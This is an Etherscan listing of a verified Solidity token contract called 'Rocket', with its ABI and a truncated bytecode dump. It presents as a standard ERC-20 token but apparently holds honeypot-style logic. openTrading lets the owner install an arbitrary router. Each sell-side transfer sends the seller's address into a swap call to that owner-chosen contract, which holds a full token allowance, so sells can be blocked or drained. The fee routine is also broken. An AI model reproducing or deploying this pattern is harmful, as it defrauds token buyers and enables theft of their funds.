ETH Price: $3,046.66 (+2.22%)
Gas: 1 Gwei

Token

Rocket (Rocket)
 

Overview

Max Total Supply

300,000,000 Rocket

Holders

256

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2.310989880816254949 Rocket

Value
$0.00
0xe6f516db84e3804a4ba90db8540f2f0e7bceaa21
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Rocket

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-17
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner,
     address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner,
     address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c; }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b,
     string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b,
     string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target,
         data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;  }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,   address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,  uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,  uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,  uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface IUniswapV2Router02 is IUniswapV2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,   uint deadline
    ) external;
}


contract Rocket is Context, IERC20, Ownable {

    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable private marketingWalletAddress;
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private eludedFormFee;
    mapping (address => bool) public isMarketPair;


    uint256 private _totalTaxIfBuying = 0;
    uint256 private _totalTaxIfSelling = 0;

    uint256 private _totalSupply;
    uint256 private _minimumTokensBeforeSwap = 0;
    address private _lastForm;
    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapPair;

    bool inSwapAndLiquify;
    bool private swapAndLiquifyEnabled = false;
    bool private swapAndLiquifyByLimitOnly = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor (
        string memory coinName,
        string memory coinSymbol,
        uint8 coinDecimals,    uint256 supply
    ) payable {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router);

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        _name = coinName;
        _symbol = coinSymbol;
        _decimals = coinDecimals;
        _owner = 0xaF30E1e183f98f30D497982f41dC1A6DE002c06f;
        _totalSupply = supply  * 10 ** _decimals;
        _minimumTokensBeforeSwap = 1202 * 10**_decimals;
        marketingWalletAddress = payable(0xaF30E1e183f98f30D497982f41dC1A6DE002c06f);
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        eludedFormFee[_owner] = true;
        eludedFormFee[address(this)] = true;
        eludedFormFee[marketingWalletAddress] = true;

        isMarketPair[address(uniswapPair)] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender,
         _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return _minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        _minimumTokensBeforeSwap = newLimit;
    }

    bool private tradingOpen;
    bool private swapEnabled = false;
    uint256 private firstBlock;
    function openTrading(address router) external onlyOwner() {
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
        swapAndLiquifyEnabled = true;
        uniswapV2Router = IUniswapV2Router02(_router);
         address uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
        if(uniswapV2Pair != address(0)){
            IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        }else{
            IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        }
        uniswapV2Router = IUniswapV2Router02(router);
        
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(),
         _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender,
     address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));

            if (!inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                _lastForm = sender;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (eludedFormFee[sender] || eludedFormFee[recipient]) ?
                                         amount : takeFee(sender, recipient, amount);


            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender,
         recipient, amount);
        return true;
    }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        // swap token -> eth
        swapTokensForEth(tAmount);
        uint256 amountReceived = address(this).balance;

        if(amountReceived > 0)
            transferToAddressETH(marketingWalletAddress, amountReceived);

    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = _lastForm;
        path[2] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tokenAmount,
        0, // accept any amount of ETH
        path,
        address(this), // The contract
        block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }



    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
            
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(0)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);   }

   
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"coinName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint8","name":"coinDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006009556000600a556000600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060156101000a81548160ff0219169083151502179055506000601060166101000a81548160ff0219169083151502179055506000601060186101000a81548160ff0219169083151502179055506040516200419338038062004193833981810160405281019062000121919062000ae4565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200018f57600080fd5b505afa158015620001a4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ca919062000bf9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200022d57600080fd5b505afa15801562000242573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000268919062000bf9565b6040518363ffffffff1660e01b81526004016200028792919062000c3c565b602060405180830381600087803b158015620002a257600080fd5b505af1158015620002b7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002dd919062000bf9565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508460019080519060200190620003359291906200081e565b5083600290805190602001906200034e9291906200081e565b5082600360006101000a81548160ff021916908360ff16021790555073af30e1e183f98f30d497982f41dc1a6de002c06f6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900460ff16600a620003dc919062000dec565b82620003e9919062000e3d565b600b81905550600360009054906101000a900460ff16600a6200040d919062000dec565b6104b26200041c919062000e3d565b600c8190555073af30e1e183f98f30d497982f41dc1a6de002c06f600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b54600560008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b546040516200080b919062000eaf565b60405180910390a3505050505062000f31565b8280546200082c9062000efb565b90600052602060002090601f0160209004810192826200085057600085556200089c565b82601f106200086b57805160ff19168380011785556200089c565b828001600101855582156200089c579182015b828111156200089b5782518255916020019190600101906200087e565b5b509050620008ab9190620008af565b5090565b5b80821115620008ca576000816000905550600101620008b0565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200093782620008ec565b810181811067ffffffffffffffff82111715620009595762000958620008fd565b5b80604052505050565b60006200096e620008ce565b90506200097c82826200092c565b919050565b600067ffffffffffffffff8211156200099f576200099e620008fd565b5b620009aa82620008ec565b9050602081019050919050565b60005b83811015620009d7578082015181840152602081019050620009ba565b83811115620009e7576000848401525b50505050565b600062000a04620009fe8462000981565b62000962565b90508281526020810184848401111562000a235762000a22620008e7565b5b62000a30848285620009b7565b509392505050565b600082601f83011262000a505762000a4f620008e2565b5b815162000a62848260208601620009ed565b91505092915050565b600060ff82169050919050565b62000a838162000a6b565b811462000a8f57600080fd5b50565b60008151905062000aa38162000a78565b92915050565b6000819050919050565b62000abe8162000aa9565b811462000aca57600080fd5b50565b60008151905062000ade8162000ab3565b92915050565b6000806000806080858703121562000b015762000b00620008d8565b5b600085015167ffffffffffffffff81111562000b225762000b21620008dd565b5b62000b308782880162000a38565b945050602085015167ffffffffffffffff81111562000b545762000b53620008dd565b5b62000b628782880162000a38565b935050604062000b758782880162000a92565b925050606062000b888782880162000acd565b91505092959194509250565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000bc18262000b94565b9050919050565b62000bd38162000bb4565b811462000bdf57600080fd5b50565b60008151905062000bf38162000bc8565b92915050565b60006020828403121562000c125762000c11620008d8565b5b600062000c228482850162000be2565b91505092915050565b62000c368162000bb4565b82525050565b600060408201905062000c53600083018562000c2b565b62000c62602083018462000c2b565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000cf75780860481111562000ccf5762000cce62000c69565b5b600185161562000cdf5780820291505b808102905062000cef8562000c98565b945062000caf565b94509492505050565b60008262000d12576001905062000de5565b8162000d22576000905062000de5565b816001811462000d3b576002811462000d465762000d7c565b600191505062000de5565b60ff84111562000d5b5762000d5a62000c69565b5b8360020a91508482111562000d755762000d7462000c69565b5b5062000de5565b5060208310610133831016604e8410600b841016171562000db65782820a90508381111562000db05762000daf62000c69565b5b62000de5565b62000dc5848484600162000ca5565b9250905081840481111562000ddf5762000dde62000c69565b5b81810290505b9392505050565b600062000df98262000aa9565b915062000e068362000a6b565b925062000e357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000d00565b905092915050565b600062000e4a8262000aa9565b915062000e578362000aa9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000e935762000e9262000c69565b5b828202905092915050565b62000ea98162000aa9565b82525050565b600060208201905062000ec6600083018462000e9e565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f1457607f821691505b6020821081141562000f2b5762000f2a62000ecc565b5b50919050565b6132528062000f416000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d714610403578063a9059cbb14610440578063b2bdfa7b1461047d578063ca72a4e7146104a8578063dd62ed3e146104d1578063f2fde38b1461050e57610135565b806370a082311461032e5780638da5cb5b1461036b578063914eb66a1461039657806395d89b41146103ad578063a073d37f146103d857610135565b8063313ce567116100f2578063313ce5671461023557806339509351146102605780633b97084a1461029d5780633ecad271146102c6578063557ed1ba1461030357610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd57806327c8f8351461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610537565b60405161015c91906125a4565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061265f565b6105c9565b60405161019991906126ba565b60405180910390f35b3480156101ae57600080fd5b506101b76105e7565b6040516101c491906126e4565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef91906126ff565b6105f1565b60405161020191906126ba565b60405180910390f35b34801561021657600080fd5b5061021f6106cb565b60405161022c9190612761565b60405180910390f35b34801561024157600080fd5b5061024a6106f1565b6040516102579190612798565b60405180910390f35b34801561026c57600080fd5b506102876004803603810190610282919061265f565b610708565b60405161029491906126ba565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf91906127b3565b6107bb565b005b3480156102d257600080fd5b506102ed60048036038101906102e891906127e0565b61085a565b6040516102fa91906126ba565b60405180910390f35b34801561030f57600080fd5b5061031861087a565b60405161032591906126e4565b60405180910390f35b34801561033a57600080fd5b50610355600480360381019061035091906127e0565b610882565b60405161036291906126e4565b60405180910390f35b34801561037757600080fd5b506103806108cb565b60405161038d9190612761565b60405180910390f35b3480156103a257600080fd5b506103ab6108f4565b005b3480156103b957600080fd5b506103c2610a47565b6040516103cf91906125a4565b60405180910390f35b3480156103e457600080fd5b506103ed610ad9565b6040516103fa91906126e4565b60405180910390f35b34801561040f57600080fd5b5061042a6004803603810190610425919061265f565b610ae3565b60405161043791906126ba565b60405180910390f35b34801561044c57600080fd5b506104676004803603810190610462919061265f565b610bb0565b60405161047491906126ba565b60405180910390f35b34801561048957600080fd5b50610492610bcf565b60405161049f9190612761565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca91906127e0565b610bf3565b005b3480156104dd57600080fd5b506104f860048036038101906104f3919061280d565b61122b565b60405161050591906126e4565b60405180910390f35b34801561051a57600080fd5b50610535600480360381019061053091906127e0565b6112b2565b005b6060600180546105469061287c565b80601f01602080910402602001604051908101604052809291908181526020018280546105729061287c565b80156105bf5780601f10610594576101008083540402835291602001916105bf565b820191906000526020600020905b8154815290600101906020018083116105a257829003601f168201915b5050505050905090565b60006105dd6105d6611474565b848461147c565b6001905092915050565b6000600b54905090565b60006105fe848484611647565b506106c08461060b611474565b6106bb856040518060600160405280602881526020016131d060289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610671611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b61147c565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60006107b1610715611474565b846107ac8560066000610726611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b61147c565b6001905092915050565b6107c3611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610847906128fa565b60405180910390fd5b80600c8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6108fc611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610989576